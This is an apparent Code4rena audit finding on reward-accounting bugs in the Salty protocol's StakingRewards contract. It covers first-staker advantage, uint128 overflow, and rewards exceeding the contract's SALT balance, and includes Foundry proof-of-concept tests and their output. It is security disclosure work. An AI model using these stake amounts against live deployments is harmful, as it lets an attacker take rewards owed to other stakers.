c4-bot-9 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L57-L92

Vulnerability details

There are multiple issues when calculating virtual rewards in StakingRewards._increaseUserShare():

Virtual rewards are not added for the first staker in a pool:

https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L78-L85

if ( existingTotalShares != 0 ) // prevent / 0
    {
    // Round up in favor of the protocol.
    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

    user.virtualRewards += uint128(virtualRewardsToAdd);
    totalRewards[poolID] += uint128(virtualRewardsToAdd);
    }

When the first staker stakes, existingTotalShares is 0, so no virtual rewards are added and they get the full reward that has been accumulated so far, giving them a larger reward share than following stakers.

According to the comment, this is a measure to avoid a division by zero. However, the relevant calculation to calculate virtualRewardsToAdd shouldn't divide by existingTotalShares in the first place. By calculating virtualRewardsToAdd as totalRewards[poolID] * increaseShareAmount / existingTotalShares (rounding up instead of down), virtualRewardsToAdd can be higher than totalRewards[poolID] if increaseShareAmount > existingTotalShares (which especially can be the case when the pool is new and doesn't have many stakers yet.

Later, virtualRewardsToAdd is added to totalRewards[poolID]. Because totalRewards[poolID] is only decreased when a user unstakes, it is possible that in subsequent calculations virtualRewardsToAdd becomes larger than type(uint128).max, which causes truncation when virtualRewardsToAdd is cast to uint128 and also can lead to the user.virtualRewards += uint128(virtualRewardsToAdd) operation overflowing.

Additionally, totalRewards[poolID] can become so large that individual users' reward shares can exceed the contract's SALT balance.

Impact

The fairness/correctness of the reward distribution is impacted:

First stakers get a disproportionate share of the reward.
Users can sometimes not claim their rewards because the reward share that was calculated for them exceeds the contract's SALT balance. However, they can just wait until enought SALT has been distributed to the contract and then withdraw all the SALT. This will happen on a first-come-first-served basis, because there will be not enough SALT to honour every user's claim. An attacker could force this situation by staking specific amounts into a pool, effectively stealing rewards from other users.
Sometimes deposits might fail due to the uint128 overflow. However, specific amounts need to be staked for that to happen.

Proof of Concept

The following test cases can be added to https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/tests/StakingRewards.t.sol to demonstrate the issues:

function testRewardClaimMoreForFirstStaker() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 100 ether, true);

  // Bob stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 100 ether, true);

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  uint256 aliceSaltBalancePre = salt.balanceOf(alice);
  uint256 bobSaltBalancePre = salt.balanceOf(bob);

  // claim rewards
  vm.prank(alice);
  stakingRewards.claimAllRewards(claimPools);
  vm.prank(bob);
  stakingRewards.claimAllRewards(claimPools);

  // show result
  console.log("Alice SALT reward:", salt.balanceOf(alice) - aliceSaltBalancePre);
  console.log("Bob SALT reward:", salt.balanceOf(bob) - bobSaltBalancePre);

  // Alice's reward is greater than Bob's reward
  assertEq(salt.balanceOf(alice) - aliceSaltBalancePre, salt.balanceOf(bob) - bobSaltBalancePre + 10 * 1e18);
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testRewardClaimMoreForFirstStaker -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testRewardClaimMoreForFirstStaker() (gas: 246274)
Logs:
  Alice SALT reward: 15000000000000000000
  Bob SALT reward: 5000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.84s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

function testVirtualRewardOverflow() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  uint256 cooldown = stakingConfig.modificationCooldown();

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  vm.warp(block.timestamp + cooldown);

  // Alice stakes
  vm.prank(DEPLOYER);
  // approx. 7.5 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 7488136320796573910, true);

  vm.warp(block.timestamp + cooldown);

  // Alice stakes, causing an overflow
  vm.expectRevert(stdError.arithmeticError);
  vm.prank(DEPLOYER);
  // approx. 94.6 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 94596573755484965130, true);
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testVirtualRewardOverflow -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testVirtualRewardOverflow() (gas: 179979)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.87s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

function testTotalRewardsGreaterThanSaltBalance() public {
  // prepare arrays that are used multiple times in the test
  AddedReward[] memory addedRewards = new AddedReward[](1);
  addedRewards[0] = AddedReward(poolIDs[0], 10 ether);
  bytes32[] memory claimPools = new bytes32[](1);
  claimPools[0] = poolIDs[0];

  // add rewards
  stakingRewards.addSALTRewards(addedRewards);

  // Alice stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);

  // Bob stakes
  vm.prank(DEPLOYER);
  stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 1, true);

  // Charlie stakes
  vm.prank(DEPLOYER);
  // approx. 34 * 1e18 (value was found using Foundry fuzzing)
  stakingRewards.externalIncreaseUserShare(charlie, poolIDs[0], 34028236692093846347, true);

  // Charlie claims rewards (reverts because his rewards exceed the contract's SALT balance)
  vm.expectRevert("ERC20: transfer amount exceeds balance");
  vm.prank(charlie);
  stakingRewards.claimAllRewards(claimPools);

  console.log("Charlie's rewards:", stakingRewards.userRewardForPool(charlie, poolIDs[0]));
  console.log("SALT balance of stakingRewards:", salt.balanceOf(address(stakingRewards)));
}

Run with:

$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testTotalRewardsGreaterThanSaltBalance -vvv --fork-url https://ethereum-sepolia.publicnode.com
[⠘] Compiling...
No files changed, compilation skipped

Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest
[PASS] testTotalRewardsGreaterThanSaltBalance() (gas: 286134)
Logs:
  Charlie's rewards: 19999999999999999998
  SALT balance of stakingRewards: 10000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.16s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

I find the current method of using virtual rewards very hard to reason about. Thus I don't feel confident to suggest specific changes.

Instead I would suggest using an epoch- or cycle-based reward distribution mechanism:

The reward distribution uses epochs that last e.g. one day or one week.
Rewards that accrue during an epoch are distributed based on the value of the stakes at the start of the epoch.
Unstaking requests are only fulfilled at the end of an epoch.

Assessed type

Math